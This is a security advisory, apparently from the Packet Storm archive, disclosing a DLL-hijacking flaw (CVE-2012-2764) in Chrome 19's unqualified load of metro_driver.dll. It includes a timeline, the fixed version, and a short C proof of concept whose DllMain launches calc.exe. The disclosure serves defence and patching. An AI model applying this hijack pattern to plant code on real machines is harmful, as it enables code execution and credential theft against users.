all things security

Google Chrome 19 metro_driver.dll Mishandling

Google Chrome 19 metro_driver.dll Mishandling
Posted Jul 17, 2012
Authored by Moshe Zioni

Google Chrome developers, while trying to be adaptive and current, added some windows 8 helper functions to aid the development of Metro style behavior, but does not include the library file itself, thus resulting in an unqualified dynamic-link library call to 'metro_driver.dll'. A user with local disk access can carefully construct a DLL that suits the pattern that is being traversed by the client and implement it somewhere along the search path and the client will load it seamlessly.

tags | exploit, local
systems | windows
advisories | CVE-2012-2764
MD5 | f0495b78284a495447233d07cb064d3c

Google Chrome 19 metro_driver.dll Mishandling

Change Mirror Download
Security Advisory - Google Chrome 19 metro_driver.dll mishandling
========================================================================
Summary : Google Chrome 19 is prone to unqualified DLL loading
Date : 28 June 2012
Affected versions : Google Chrome v19.0.1084.21 up-to v20.0.1132.23
ID : chromium#130276
CVE reference : CVE-2012-2764

Details
================
Google Chrome developers, while trying to be adaptive and current, added some
windows 8 helper functions to aid the development of Metro style behaviour,
but does not include the library file itself, thus resulting in an unqualified
dynamic-link library call to 'metro_driver.dll'.

A user with local disk access can carefuly construct a DLL that suits the
pattern that is being traversed by the client and implement it somewhere along
the search path and the client will load it seamlessly.

Impact
================
After the DLL has been implemented, an unsuspected user that will run Chrome
will cause it to load, resulting in arbitrary code execution under user's
privilege level.

This vector of attack is mainly used in a local privilege escalation scenarios,
user credential harvesting and can be used by malware to disguise itself,
amongst other uses.

Proof of Concept
================

#include <windows.h>

int hijack_poc ()
{
WinExec ( "calc.exe" , SW_NORMAL );
return 0 ;
}

BOOL WINAPI DllMain
( HINSTANCE hinstDLL ,
DWORD dwReason ,
LPVOID lpvReserved )
{
hijack_poc () ;
return 0 ;
}

Solution
================
Google Chrome 20.0.1132.43 resolves the issue.

Credits
================
The issue was responsibly reported by Moshe Zioni from Comsec Global Consulting.

Timeline
=================
26 June 2012
Google officialy announce Google Chrome 20 stable, fix included
1 June 2012
Code reverted - Revision 139975 takes place
30 May 2012
First response from a Google code maintainer
30 May 2012
Bug reported by Moshe Zioni from Comsec Global Consulting

References
=================
Google Chrome
http://www.google.com/chrome
Revision details
http://src.chromium.org/viewvc/chrome?view=rev&revision=139975

Comsec Global Consulting
http://www.comsecglobal.com/

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

October 2017

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    15 Files
  • 2
    Oct 2nd
    16 Files
  • 3
    Oct 3rd
    15 Files
  • 4
    Oct 4th
    15 Files
  • 5
    Oct 5th
    11 Files
  • 6
    Oct 6th
    6 Files
  • 7
    Oct 7th
    2 Files
  • 8
    Oct 8th
    1 Files
  • 9
    Oct 9th
    13 Files
  • 10
    Oct 10th
    16 Files
  • 11
    Oct 11th
    15 Files
  • 12
    Oct 12th
    23 Files
  • 13
    Oct 13th
    13 Files
  • 14
    Oct 14th
    12 Files
  • 15
    Oct 15th
    2 Files
  • 16
    Oct 16th
    16 Files
  • 17
    Oct 17th
    2 Files
  • 18
    Oct 18th
    0 Files
  • 19
    Oct 19th
    0 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    0 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2016 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close